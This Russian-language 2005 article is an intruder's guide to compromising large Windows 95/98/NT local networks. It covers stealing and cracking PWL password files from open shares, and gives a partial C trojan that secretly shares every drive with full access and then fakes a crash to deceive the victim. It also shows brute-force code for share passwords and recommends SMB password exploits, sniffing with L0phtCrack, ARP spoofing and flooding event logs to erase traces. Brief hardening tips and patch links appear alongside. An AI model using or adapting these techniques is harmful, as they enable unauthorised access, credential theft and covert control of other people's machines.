Технология взлома больших локальных сетей
В этой статье произведена попытка отследить все недостатки в системе безопасности больших локальных сетей, базирующихся на машинах с ОС Windows95/98/Me/NT/W2k, в которых администрирование сильно затруднено в связи с большой численностью машин. timon
🕛 26.12.2005, 05:44
Введение. В этой статье произведена попытка отследить все недостатки в системе безопасности больших локальных сетей, базирующихся на машинах с ОС Windows95/98/Me/NT/W2k, в которых администрирование сильно затруднено в связи с большой численностью машин. Приведены примеры использования соответствующих инструментов для взлома, исходные тексты автора. Так же даются рекомендации по устранению проблем.
Итак, мы в сети.
Поставим себя на место человека, которому все очень интересно...
И с чего мы начнем? С исследования, конечно. Погуляем по сети, поглядим, где доступ только на чтение, а где и полный. Находим разные шары, доступные на чтение (например, с именем "install", "temp"), а на запись если и находим, то это что-то типа "obmen" или "income", и путного ничего там нет. А основная масса ресурсов требует пароль. Но иногда натыкаемся шары с именем "c", "d"... Это нам очень интересно. Расшаренный в корне диск, это всегда приятно. :) Пока будем действовать примитивно. Первым делом находим папку "Windows" и вытягиваем оттуда все *.pwl файлы и сохраняем у себя на диске. По названиям этих файлов, по их размеру и количеству мы уже можем сделать кое-какие выводы. Например, файл oleg.pwl ясно дает понять как зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы создались уже давно, а на машине валяются без применения. Ведь если вы первый раз входите в систему, для вас создается новый PWL, в котором будут храниться...
Что мы можем найти в PWL? Начнем вскрытие. Берем любую программу для взлома паролей и действуем согласно инструкции. ;) Что мы видим? PWL - это "копилка", в которую помещаются все пароли, которые пользователь вводит для доступа к удаленным ресурсам.
Для машин, где используется для доступа в internet модем, это обычно так:
(прим.: реальные пароли я забил знаком "X")
(C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98) ~~ ¦ Enter the User Password: File '1.PWL' has size 948 bytes, version [W95osr2_Win98] for user '1' with password '' contains: -[Type]-[The resource location string]-[Password]- Dial *Rna\My Connection\ZZ-top XXXXXXX Dial *Rna\My Connection\ZZ-TOP XXXXXXX Dial *Rna\My Connection\ZZTOP XXXXXXX Dial *Rna\TiNET 1\ZZTOP XXXXXXXXXXX Dial *Rna\TiNET 2\ZZTOP XXXXXXX Dial *Rna\TiNET\neoxars XXXXXXX Dial *Rna\TiNET\NeoXars XXXXXXX - ¦ Indexed Entryes: 1; Number of resources: 7. Для машин, работающих в локальных сетях, например, так: File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98] for user 'SANJA' with password 'QUAKE' contains: -[Type]-[The resource location string]-[Password]- Link ASH\EMAIL XXXXXX Link ASH\INTERNET XXXXXX Link ASH\RED XXXXXX Link ASH\TI_UART Dial ! crypt_Blizzard_Storm XXXXX Url/ www.xilinx.com/xilinx account XXXXXX:XXXXXX MAPI MAPI MAPI - _ Indexed Entryes: 4; Number of resources: 7.Все пароли, хранящиеся в PWL, закрыты только одним паролем - тем, который вводится при входе в систему. И чаще всего его или нет, или он короткий (хотя всякое бывает). Поэтому мы легко их вскрываем и получаем доступ к другим машинам. Затем вытягиваем из них PWL и поступаем так же. И можно было бы сказать, что подбор паролей вручную морально устарел, но я очень часто успешно использовал этот метод. Так что, кто ищет, тот всегда найдет. ;)
Что тут можно посоветовать? Простым вариантом будет добавление символа "$" к имени ресурса, что сделает его невидимым для всех в сетевом окружении. Чем меньше человек знают о нем, тем меньше шансов быть атакованным. Но не стоит задавать простые имена типа "C$", так как их довольно часто проверяют взломщики.
Немного творчества.
Ну что же? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно сделать? Например, переписать, куда только можно программку, которая при запуске сделает доступными все диски и на чтение, и на запись. Называем ее подходящим именем в расчете на то, что кто-то ее запустит.
Вот что я написал для демонстрации данного метода.
(Для того, чтобы кто попало не компилировал, я не даю полный листинг)
- share_info_50 shinfo50; ZeroMemory(&shinfo50,sizeof(shinfo50)); shinfo50.shi50_type=STYPE_DISKTREE; shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST; shinfo50.shi50_remark=""; // Расшариваем 1-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1); shinfo50.shi50_path="C:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 2-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1); shinfo50.shi50_path="D:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 3-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1); shinfo50.shi50_path="E:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); FillMemory((VOID*)0xFFFFFFFF,1,0); // А это для того, чтобы программа вылетела "в трубу", и // пользователь подумал, что это просто сбой в системе. :) (но это // не обязательно) // P.S. Все это только для Win95/98/Me. Для NT нужно немного // модифицировать. -Теперь на жертву можно зайти так - "Выполнить", "\\comp_name\temp1$" (это диск C). Что в этом удобного? Диск расшаривается с флагами SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя ресурса заканчивается знаком "$". Это значит, что:
1) Мы имеем полный доступ.
2) Шара становится системной. Т.е. в проводнике (локально) не будет видно, что диск расшарен.
3) Шара не будет видна всем в сети.
Можете поэкспериментировать с этой программкой и поставить себя теперь на место пользователя. Вот вы увидели файл, который не вы записывали. Вам сразу хочется узнать что это, и, если файл не нужен, удалить его. Вы запускаете и видите что-то типа "программа выполнила недопустимую инструкцию". Первая мысль обычно о том, что программа просто не работает. Вы со спокойной душой удаляете файл и даже не подозреваете, что темное дело уже сделано. Все. Вы под полным контролем. Тут не поможет никакой антивирус. Попробуйте зайти с другой машины на ваши диски. Теперь не забудьте удалить из реестра эти ресурсы. Они находятся в разделе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan. Кстати, есть еще возможность создания reg файла, который автоматически создаст необходимые ключи в реестре. Но это слишком заметно, и вряд ли пользователь попадется на такую уловку. А метод с exe файлом работает довольно успешно. Я проводил эксперименты - многие попадались.
Ну а если на некоторые машины вы так и не смогли попасть, можно попробовать взломать пароли удаленно перебором. Для этого даже существуют специальные программки. :) Но переборщик паролей на сетевые ресурсы по словарю я не видел и писал его сам. Вот код, который подключает сетевой диск (Win9x only):
- // на входе параметры - char *resname, char *password DWORD RetVal; NETRESOURCE nr; nr.lpRemoteName=resname; nr.dwType=RESOURCETYPE_DISK; RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE); -Немного теории.
При использовании такого метода в случае, когда удаленная машина Win9x, перебор ведется довольно быстро. Если же вы пытаетесь подключиться к NT, существует некоторая задержка в случае неверной комбинации имя/пароль. Но если вы подключаетесь как администратор, насколько я помню, такой задержки нет. В то же время, все попытки (удачные/неудачные - в зависимости от настроек) регистрируются в журнале событий NT. Поэтому заранее стоит подумать о том, что таким способом можно переполнить журнал - это позволит злоумышленнику уничтожить более важную информацию в логах.
Но не всегда нужен перебор всех вариантов паролей. Для машин Win95/98/Me дела обстоят намного хуже. В реализации авторизации SMB-сессии Microsoft допустила ошибку, поэтому, путем написания специального эксплоита, можно получить доступ к жертве, потратив на взлом пароля, примерно, столько времени, сколько необходимо затратить на подбор одного символа, умноженного на их количество. Вы можете увидеть программную реализацию использования этой ошибки, если в поисковом сервере наберете "PQWak". Он выдаст множество ссылок на эту программу. А если же вы хотите версию программы, написанную нашим программистом, можете искать по слову "xIntruder". Эта программа, в отличие от предыдущей, понимает русские символы в именах машин. Поиграйте с этими программами и не удивляйтесь, когда за одну секунду будет взломан пароль длинной в 7 символов. А затем, чтобы спалось спокойней, закачайте официальный патч от Microsoft и раздайте всем, кому только можно. Ссылка на патчи дана в конце документа.
Вышеуказанные программы работают по протоколу TCP, устанавливая соединение со 139-м портом на жертве, и вручную формируя пакеты сессий. Если же в сети используется протокол IPX, приходится сложнее. У меня пока есть планы на счет реализации этого алгоритма в программе, работающей на протоколах и TCP, и IPX. А пока приведу возможные варианты инкапсуляции пакетов SMB:
Используемый протокол: IP. Все системы - IP/TCP/Netbios/SMB
Используемый протокол: IPX. NT - IPX/Netbios/SMB. Win9x (default) IPX(:NMPI)/SMB
А теперь послушаем...
Нельзя забывать, что путем простого сниффинга сети можно добыть огромное количество информации, в частности, пароли. К несчастью (для большинства), во многих протоколах на базе TCP, по старинке, пароль передается в открытом виде. К таким протоколам относятся telnet, ftp, pop3 и многие другие (примечание: если у вас есть желание исследовать какой-либо протокол и посмотреть "что же там внутри", вы можете использовать для этого мой инструмент "TCP_LOGGER"). На смену им пришли "ssh", "apop" и подобные, но полный переход на новые протоколы еще займет немало времени. Но все же, уже нельзя, как раньше, легко перехватывать пароли на SMB сессии. Они перестали передаваться в открытом виде. Эта проблема была в диалектах "LANMAN1.0" и др., а в более поздних, таких как "LANMAN2.1" и "NT LM 0.12" и используется шифрование пароля ключом, сгенерированным сервером, и по сети передается лишь hash-значение. Это, конечно, затрудняет взлом, но не делает его невозможным. Ведь затем можно попытаться подобрать пароль, перебирая возможные пароли и накладывая на него ключ сервера, сравнивая результат с имеющимся. При наличии быстрой машины и большого объема оперативной памяти, можно добиться очень высоких показателей скорости перебора.
Приведу еще другой пример. Допустим, в вашем сегменте стоят машины с NT. Берем программу L0phtCrack и выбираем в меню "sniffing". Теперь она будет прослушивать все сетевые подключения и сохранять протокол в файл. Затем той же программкой и вскрываем их. Пример файла, который получается в результате использования для взлома программы L0phtCrack можно посмотреть здесь.
Какие есть возможности усложнить жизнь взломщику?
Во-первых, если в вашей сети используются только NT, и вам не нужно обеспечить возможность входа с машин Windows95/98/Me, в реестре можно подправить один ключ, касающийся с совместимости с LANMAN2.1, что позволит увеличить стойкость пароля, так как стандартно в паролях NT различается регистр символов, а в Windows9x - нет.
Во-вторых, путем использования, например, свитчей вместо хабов. Повторители, хаб, коаксиал - это все, что формирует среду, образуя "collision domain". То есть, весь трафик является общим, что позволяет с любой машины перехватывать все пакеты, передающиеся какой угодно машиной в этом сегменте. В отличие от хаба, порты коммутатора разделяют "collision domain" и образуют "broadcast domain". Он работает с MAC адресами и на ходу стоит "route table". Поэтому пакет, адресованный какой-либо машине, будет передан на соответствующий порт свитча, а на остальных портах никаких событий не произойдет. Но помните(!), если в настойках не заданы жестко все MAC адреса, и свитч на лету обновляет таблицу соответствия интерфейсов портам, то остается возможность обмануть любую машину, послав ложный ARP, или ICMP пакет с сообщением о другом маршруте. Таким образом, мы можем перенаправить трафик на свой порт... более подробно об этом можно почитать в статьях на Сервере UInC.
К чему все это?
Снова представим себя на месте взломщика.
Что мы можем полезного из всего извлечь? Если жертва имеет выход в internet, можно повесить туда программу, которая замэппит какой-нибудь порт на proxy. Это возможно даже в таких случаях, если до машины вы можете добраться только по IPX/SPX. Я так сам когда-то делал. Это был proxy из двух половинок с преобразованием TCP->SPX->TCP. (Просто для маршрутизации в сеть с выходом в internet использовался "Nowell Netware", работающий только с кадрами 802.3). А потом у других возникают вопросы - откуда берется трафик... Кстати, узнать, есть ли у машины доступ в Сеть можно довольно просто. Загляните, что там установлено в "Program Files", проверьте "Temporary Internet Files" (кэш). Узнать настройки можно, утянув реестр... Happy browsing! :)
Маленький словарь.
* Расшаривать - от англ. "share".
* PWL - сокращение "password list file".
* Патч - от англ. "patch" - заплата.
* Сниффинг, сниффер - от англ. "sniff" - нюхать.
* Замэппить - от англ. "map". Перенаправить трафик без изменений с локального порта на удаленный.
Links.
Патч от Microsoft исправляющий ошибку в работе SMB сессии можно скачать здесь:
http://www.microsoft.com/technet/security/bulletin/ms00-072.asp
PWL Hacker - http://www.uinc.ru/files/useful/pwl_h402.rar L0pht Crack - http://www.atstake.com/research/lc3/index.html L0pht Crack+ - http://lcp.chat.ru (русская бесплатная версия)